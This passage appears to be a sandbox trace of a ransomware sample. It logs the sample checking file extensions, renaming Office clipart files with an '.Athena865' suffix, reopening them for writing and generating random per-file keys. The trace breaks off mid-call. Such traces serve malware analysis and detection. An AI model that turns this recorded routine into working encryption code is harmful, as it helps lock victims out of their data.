[0132.179] lstrlenW (lpString="cdb") returned 3 [0132.179] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0132.179] lstrlenW (lpString="ckp") returned 3 [0132.179] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0132.179] lstrlenW (lpString="cma") returned 3 [0132.179] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0132.179] lstrlenW (lpString="cpd") returned 3 [0132.179] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0132.179] lstrlenW (lpString="dacpac") returned 6 [0132.179] lstrcmpiW (lpString1="6_.WMF", lpString2="dacpac") returned -1 [0132.179] lstrlenW (lpString="dad") returned 3 [0132.179] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0132.179] lstrlenW (lpString="dadiagrams") returned 10 [0132.179] lstrcmpiW (lpString1="02356_.WMF", lpString2="dadiagrams") returned -1 [0132.179] lstrlenW (lpString="daschema") returned 8 [0132.179] lstrcmpiW (lpString1="356_.WMF", lpString2="daschema") returned -1 [0132.179] lstrlenW (lpString="db-journal") returned 10 [0132.179] lstrcmpiW (lpString1="02356_.WMF", lpString2="db-journal") returned -1 [0132.180] lstrlenW (lpString="db-shm") returned 6 [0132.180] lstrcmpiW (lpString1="6_.WMF", lpString2="db-shm") returned -1 [0132.180] lstrlenW (lpString="db-wal") returned 6 [0132.180] lstrcmpiW (lpString1="6_.WMF", lpString2="db-wal") returned -1 [0132.180] lstrlenW (lpString="dbc") returned 3 [0132.180] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0132.180] lstrlenW (lpString="dbs") returned 3 [0132.180] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0132.180] lstrlenW (lpString="dbt") returned 3 [0132.180] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0132.180] lstrlenW (lpString="dbv") returned 3 [0132.180] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0132.180] lstrlenW (lpString="dbx") returned 3 [0132.180] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0132.180] lstrlenW (lpString="dcb") returned 3 [0132.180] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0132.180] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0132.180] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF.Athena865") returned 73 [0132.180] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02356_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02356_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.182] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3604) returned 1 [0132.182] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.182] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.182] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.187] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.192] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.192] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.195] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02361_.WMF" | out: lpString1="NA02361_.WMF") returned="NA02361_.WMF" [0132.195] lstrlenW (lpString="NA02361_.WMF") returned 12 [0132.195] lstrlenW (lpString="Athena865") returned 9 [0132.195] lstrcmpiW (lpString1="2361_.WMF", lpString2="Athena865") returned -1 [0132.195] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF.Athena865") returned 73 [0132.195] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02361_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02361_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.200] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6084) returned 1 [0132.200] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.204] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.204] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.209] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.212] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.212] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.213] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02368_.WMF" | out: lpString1="NA02368_.WMF") returned="NA02368_.WMF" [0132.213] lstrlenW (lpString="NA02368_.WMF") returned 12 [0132.214] lstrlenW (lpString="Athena865") returned 9 [0132.215] lstrcmpiW (lpString1="2368_.WMF", lpString2="Athena865") returned -1 [0132.216] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF.Athena865") returned 73 [0132.217] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02368_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02368_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.221] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3368) returned 1 [0132.221] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.222] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.222] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.224] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.225] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.225] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.225] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02371_.WMF" | out: lpString1="NA02371_.WMF") returned="NA02371_.WMF" [0132.225] lstrlenW (lpString="NA02371_.WMF") returned 12 [0132.225] lstrlenW (lpString="Athena865") returned 9 [0132.225] lstrcmpiW (lpString1="2371_.WMF", lpString2="Athena865") returned -1 [0132.225] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF.Athena865") returned 73 [0132.226] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02371_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02371_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.227] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3188) returned 1 [0132.227] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.228] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.228] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.231] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.232] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.232] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.232] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02373_.WMF" | out: lpString1="NA02373_.WMF") returned="NA02373_.WMF" [0132.232] lstrlenW (lpString="NA02373_.WMF") returned 12 [0132.232] lstrlenW (lpString="Athena865") returned 9 [0132.232] lstrcmpiW (lpString1="2373_.WMF", lpString2="Athena865") returned -1 [0132.232] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF.Athena865") returned 73 [0132.232] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02373_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02373_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.234] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3308) returned 1 [0132.234] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.234] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.234] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.238] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.240] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.240] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.246] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02384_.WMF" | out: lpString1="NA02384_.WMF") returned="NA02384_.WMF" [0132.246] lstrlenW (lpString="NA02384_.WMF") returned 12 [0132.246] lstrlenW (lpString="Athena865") returned 9 [0132.246] lstrcmpiW (lpString1="2384_.WMF", lpString2="Athena865") returned -1 [0132.246] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF.Athena865") returned 73 [0132.246] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02384_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02384_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.253] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3032) returned 1 [0132.253] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.256] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.256] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.262] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.263] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.263] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.263] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02386_.WMF" | out: lpString1="NA02386_.WMF") returned="NA02386_.WMF" [0132.263] lstrlenW (lpString="NA02386_.WMF") returned 12 [0132.264] lstrlenW (lpString="Athena865") returned 9 [0132.264] lstrcmpiW (lpString1="2386_.WMF", lpString2="Athena865") returned -1 [0132.264] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF.Athena865") returned 73 [0132.264] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02386_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02386_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.265] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2376) returned 1 [0132.265] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.266] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.266] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.268] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.268] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.269] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.269] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02388_.WMF" | out: lpString1="NA02388_.WMF") returned="NA02388_.WMF" [0132.269] lstrlenW (lpString="NA02388_.WMF") returned 12 [0132.269] lstrlenW (lpString="Athena865") returned 9 [0132.269] lstrcmpiW (lpString1="2388_.WMF", lpString2="Athena865") returned -1 [0132.269] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF.Athena865") returned 73 [0132.269] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02388_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02388_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.270] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3204) returned 1 [0132.271] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.271] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.271] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.275] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.276] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.276] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.276] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02389_.WMF" | out: lpString1="NA02389_.WMF") returned="NA02389_.WMF" [0132.276] lstrlenW (lpString="NA02389_.WMF") returned 12 [0132.276] lstrlenW (lpString="Athena865") returned 9 [0132.277] lstrcmpiW (lpString1="2389_.WMF", lpString2="Athena865") returned -1 [0132.277] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF.Athena865") returned 73 [0132.277] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02389_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02389_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.278] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2860) returned 1 [0132.278] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.279] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.279] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.281] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.282] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.282] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.282] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02390_.WMF" | out: lpString1="NA02390_.WMF") returned="NA02390_.WMF" [0132.282] lstrlenW (lpString="NA02390_.WMF") returned 12 [0132.282] lstrlenW (lpString="Athena865") returned 9 [0132.282] lstrcmpiW (lpString1="2390_.WMF", lpString2="Athena865") returned -1 [0132.282] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF.Athena865") returned 73 [0132.282] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02390_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02390_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.284] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3684) returned 1 [0132.284] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.285] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.285] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.287] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.289] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.290] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.292] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02398_.WMF" | out: lpString1="NA02398_.WMF") returned="NA02398_.WMF" [0132.293] lstrlenW (lpString="NA02398_.WMF") returned 12 [0132.293] lstrlenW (lpString="Athena865") returned 9 [0132.293] lstrcmpiW (lpString1="2398_.WMF", lpString2="Athena865") returned -1 [0132.293] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF.Athena865") returned 73 [0132.293] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02398_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02398_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.299] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7832) returned 1 [0132.300] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.302] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.303] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.309] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.313] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.313] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.314] lstrcpyW (in: lpString1=0x241e8ae, lpString2="NA02400_.WMF" | out: lpString1="NA02400_.WMF") returned="NA02400_.WMF" [0132.314] lstrlenW (lpString="NA02400_.WMF") returned 12 [0132.314] lstrlenW (lpString="Athena865") returned 9 [0132.314] lstrcmpiW (lpString1="2400_.WMF", lpString2="Athena865") returned -1 [0132.314] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF.Athena865") returned 73 [0132.314] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf.athena865"), dwFlags=0x1) returned 1 [0132.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02400_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02400_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, 